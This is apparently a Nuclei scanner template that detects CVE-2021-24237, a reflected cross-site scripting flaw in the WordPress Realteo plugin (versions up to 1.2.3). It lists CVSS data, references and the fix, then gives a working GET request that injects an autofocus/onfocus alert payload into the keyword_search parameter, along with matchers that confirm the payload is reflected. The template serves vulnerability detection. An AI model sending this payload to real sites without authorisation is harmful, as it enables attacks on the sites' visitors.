WordPress Realteo <=1.2.3 - Cross-Site Scripting

id: CVE-2021-24237

info:
  name: WordPress Realteo <=1.2.3 - Cross-Site Scripting
  author: 0x_Akoko
  severity: medium
  description: WordPress Realteo plugin 1.2.3 and prior contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of keyword_search, search_radius. _bedrooms and _bathrooms GET parameters before outputting them in its properties page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of the WordPress Realteo plugin (>=1.2.4) which includes a fix for the Cross-Site Scripting vulnerability.
  reference:
    - https://wpscan.com/vulnerability/087b27c4-289e-410f-af74-828a608a4e1e
    - https://m0ze.ru/vulnerability/[2021-03-20]-[WordPress]-[CWE-79]-Realteo-WordPress-Plugin-v1.2.3.txt
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24237
    - https://m0ze.ru/vulnerability/[2021-03-20]-[WordPress]-[CWE-79]-Findeo-WordPress-Theme-v1.3.0.txt
    - https://www.docs.purethemes.net/findeo/knowledge-base/changelog-findeo/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24237
    cwe-id: CWE-79
    epss-score: 0.06298
    epss-percentile: 0.92754
    cpe: cpe:2.3:a:purethemes:findeo:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: purethemes
    product: findeo
    framework: wordpress
  tags: cve2021,cve,realteo,xss,wordpress,plugin,wpscan,intrusive,purethemes,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/properties/?keyword_search=--!%3E%22%20autofocus%20onfocus%3Dalert(/{{randstr}}/)%3B%2F%2F"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - autofocus onfocus=alert(/{{randstr}}/);//
          - Nothing found
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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